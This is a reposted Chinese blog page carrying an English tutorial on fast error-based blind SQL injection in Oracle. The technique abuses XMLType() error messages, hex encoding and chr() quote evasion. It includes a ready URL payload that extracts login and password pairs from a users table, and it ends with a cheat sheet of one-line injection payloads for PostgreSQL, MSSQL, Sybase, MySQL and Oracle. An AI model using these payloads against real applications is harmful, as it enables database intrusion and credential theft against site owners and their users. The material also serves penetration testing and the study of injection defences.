博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle
阅读量:5945 次
发布时间:2019-06-19

本文共 5487 字,大约阅读时间需要 18 分钟。

I had gathered an interesting  exploitation, but I was lacking in a similar method for another widespread DBMS – . It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;ERROR:ORA-31011: XML parsing failedORA-19202: Error occurred in XML processingLPX-00210: expected '<' instead of 'a'Error at line 1ORA-06512: at "SYS.XMLTYPE", line 301ORA-06512: at line 1no rows selectedSQL>

Anyway, that's something. Now we can use the function substr() to read the desired information symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:


select XMLType((select substr(version,1,1) from v$instance)) from users; 

select XMLType((select substr(version,2,1) from v$instance)) from users;

select XMLType((select substr(version,3,1) from v$instance)) from users;

...etc.


Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be light-heartedly to stop at that. We will go further.


After investigating the function XMLType() in detail, I managed to find an analogous method to place data into the error message, which can be also applied to other databases:


SQL> select XMLType((select '
' from dual)) from dual;ERROR:ORA-31011: XML parsing failedORA-19202: Error occurred in XML processingLPX-00234: namespace prefix "abcdef" is not declared...SQL> select XMLType((select '<:abcdef>' from dual)) from dual;ERROR:ORA-31011: XML parsing failedORA-19202: Error occurred in XML processingLPX-00110: Warning: invalid QName ":abcdef" (not a Name)...SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t implement automated type conversion. Therefore, the following query will cause an error:


SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)ERROR at line 1:ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType() truncates the returned data after certain symbols, e.g. space character and the "at" sign ("@").


However, there is no problem we could not solve;) To dispose of the problem of type conversion, one can apply the function upper(). Line-by-line data reading can be implemented using the following simple construction:


select id from(select id,rownum rnum from users a)where rnum=1;

select id from(select id,rownum rnum from users a)where rnum=2;

...


At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can be excluded from the sent query using numeric representation of symbols (ascii), which will later allow one to bypass filtering at the stage of processing the data that comes into the application. Thus, the resulting query becomes:


select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);


select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);

...


Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:


http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--


To decode the data obtained from an application using the described method of SQL Injection exploitation, one can use, for example, the following standard Oracle function:


Thus, taking into account 
 devoted to this theme, we have universal and quick techniques of error-based Blind SQL Injection exploitation available for the following DBMSs:


PostgreSQL:

/?param=1 and(1)=cast(version() as numeric)--


MSSQL:

/?param=1 and(1)=convert(int,@@version)--


Sybase:

/?param=1 and(1)=convert(int,@@version)--


MySQL>=4.1<5.0:

/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--


OR

/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--


MySQL>=5.0:

/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--


Oracle >=9.0:

/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/479685,如需转载请自行联系原作者

你可能感兴趣的文章
Cross-compilation using Clang
查看>>
并查集hdu1232
查看>>
oracle进行字符串拆分并组成数组
查看>>
100多个基础常用JS函数和语法集合大全
查看>>
Java8 lambda表达式10个示例
查看>>
innerHTML outerHTML innerText
查看>>
kafka安装教程
查看>>
go语言基础
查看>>
【Windows】字符串处理
查看>>
Spring(十八):Spring AOP(二):通知(前置、后置、返回、异常、环绕)
查看>>
CentOS使用chkconfig增加开机服务提示service xxx does not support chkconfig的问题解决
查看>>
微服务+:服务契约治理
查看>>
save
查看>>
Android DrawLayout + ListView 的使用(一)
查看>>
clear session on close of browser jsp
查看>>
asp.net mvc Post上传文件大小限制 (转载)
查看>>
关于吃掉物理的二次聚合无法实现的需要之旁门左道实现法
查看>>
mysql出现unblock with 'mysqladmin flush-hosts'
查看>>
oracle exp/imp命令详解
查看>>
开发安全的 API 所需要核对的清单
查看>>